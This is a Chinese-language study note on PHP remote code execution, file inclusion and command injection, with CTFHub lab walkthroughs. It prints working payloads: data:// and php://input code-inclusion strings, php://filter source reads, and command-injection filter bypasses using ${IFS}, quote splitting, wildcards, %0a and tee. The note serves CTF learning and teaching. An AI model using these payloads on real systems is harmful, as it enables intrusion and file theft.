一、漏洞
远程代码执行漏洞,通过php代码、java代码注入等方式连接程序中预留的后门或接口进行远程命令执行,控制服务器
原理:通过利用php函数(system、exec、shell_exec、passthru、popen、``、eval、assert、preg_replace、call_user_func、array_map、动态函数)经过构造后可以用字符串或php代码执行命令的特性,调用这些函数实现远程代码执行
二、常见函数
1.系统命令执行函数
OS是操作系统简称
system():将字符串作为OS命令执行,且返回命令执行结果
exec():将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显)
shell_exec():将字符串作为OS命令执行
passthru():将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上
popen():打开进程文件指针
proc_open():与popen()类似
pcntl_exec():在当前进程空间执行指定程序
反引号``:反引号``内的字符串会被解析为OS命令
2.代码执行函数
eval():将字符串作为php代码执行
assert():将字符串作为php代码执行
preg_replace():正则匹配替换字符串
create_function():主要创建匿名函数
call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数
call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组
可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行
三、eval执行
eval()函数在 PHP 中用于执行一段以字符串形式给出的 PHP 代码。这段字符串代码会被作为 PHP 代码执行。
ctfhub技能树eval执行
代码的意思大致是判断是否传入cmd,没有就执行else
可以看到运用了eval函数,直接连接蚁剑
成功后在文件中找到flag
四、文件包含
1.原理
将可重复使用的函数写到文件中,用到直接调用文件
漏洞产生是因为引入时没校验,或者被绕过
包含的文件会被当成脚本文件进行解析
2.类别
1>本地文件包含(LFL)
2>远程文件包含(RFL)
远程包含文件需要在PHP配置文件中开启
allow_url_fopen=On(默认为On)规定是否允许从远程服务器或者网站检索数据
allow_url_include=ON(PHP 5.2之后默认Off)规定是否允许include/require远程文件
3.函数
include():找不到被包含的文件只会产生警告,脚本继续执行,并且include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。
require():找不到被包含的文件就会产生错误,停止脚本运行
include_once()与irequire_once():如果该文件的代码已经被包含,则不会再次包含,其他性质如上
4.php伪协议
1>file协议:用于访问本地文件系统,不受allow_url_fopen与allow_url_include的影响
2>php协议:用于访问各个输入输出流
利用条件:allow_url_fopen :off/on allow_url_include:on
php://filter/格式:php://filter/convert.base64-encode/resource=xxx.php 用于读取指定文件的源码,需要base64解密
php://input常用于执行文件代码,可以将文件包含漏洞直接转化伪RCE(代码执行)漏洞。数据利用post传。格式:filename=php://input
3>zip协议:可以访问zip压缩包里的文件,zip协议的使用要注意只能够使用绝对路径,而不能使用相对路径 利用条件:allow_url_fopen :off/on allow_url_include:off/on 格式:zip://压缩包绝对路径%23压缩包文件
4>data协议:类似与php://input,也可将用户的一段指定输入流作为被包含的文件
利用条件:allow_url_fopen :on allow_url_include:on
格式:data://text/plain,<?php phpinfo();?>
data协议支持编码,例如base64:data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=(与上文意思一致)
注:当php配置allow_url_include和allow_url_fopen都为On的时候,可以对文件进行远程包含
例如:about.php?f=http://web/1.php
当allow_url_include为On,而allow_url_fopen为Off的是否,不可以直接远程包含文件,但是可以使用php://input、 php://stdin、 php://memory 和 php://temp等伪协议
例如about.php?f=php://input post传输数据<?php phpinfo(); ?>
ctfhub技能树文件包含
strpos(string,find,start)函数:在字符串中找find位置,start为开始位置
所以要在file中找flag
如果file中没flag就引入file文件
否则输出harck
点击shell,发现要用php传入ctfhub
按题目要求传参
返回上级目录找到flag文件,用cat查看
ctfhub技能树读取源代码
file里的第0到第六个字符必须等于php://
知道flag在/flag里
用php://filter实现对文件的访问,得到flag
五、命令注入
1.原理
通过应用程序将不安全的数据不经检查过滤传给主机操作系统
2.常用命令
cat:由第一行开始查文件
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
ls:查看目录
dir:查看目录
$*:在shell命令执行下为空
3.绕过
(1)空格绕过
$IFS$9
${IFS}(最好用这个)
$IFS
(2)符号绕过正则
过滤cat
1>单双引号
ca''t flag.txt
ca""t flag.txt
2>跨行符“\”
ca\t flag.txt
(3)通配符绕过正则
能替代任何字符
shell通配符:
“*”——0或任意个字符
“?”——一个任意字符
shell:” 壳”, 操作系统的外壳。接收用户指令, 调用相应应用程序, 是一种用C语言编写的程序设计语言, 同时也是“为使用者提供操作界面”的命令解析器。
1>可通配得到的命令
/bin/base64:/???/????64 将文件以base64形式输出
/usr/bin/bzip2:/???/???/????2 将文件压缩为后缀是bz2的压缩包
2>字符串通配
flag.php:flag.??? flag*
(4)变量拼接绕过正则
将被过滤的字符串分成部分绕过
cat flag.php:x=lag;cat f&x.php
(5)内联执行
在shell中再嵌一个shell语句,用外面的处理里面的
用于内联语句的符号you ${},``(反引号)
把ls结果用echo输出:echo `ls` echo ${ls}
(6)“${}”截取环境变量拼接
${}是对变量进行处理的一个函数,对值进行取长度,截取,替换等操作
这里用作截取字符串:
${PATH:start:length}
start:起始位置
length:截取长度,可为负数
例如
(7)中括号匹配绕过
例如[a-c]代表匹配a-c之间的字符,包括字符本身
/bin/cat flag.txt:/[a-c][h-j][m-o]/[b-d]a[s-u] flag.txt
ctfhub技能树综合过滤练习
发现这些被过滤
用%0a代替换行,查看目录
${IFS}代替空格,flag被过滤,用通配符绕过
cat过滤可以运用单引号绕过,得到flag
4.source命令
又称点命令,可用.代替
5.无回显
shell_exec 让页面无回显,需要加上echo才能看见回显
需要写个文件到当前目录下,然后访问这个目录,例如:
?ip= c''at \f*** |tee 1.txt(写进1.txt文件里)
?ip=ls /|tee 1.txt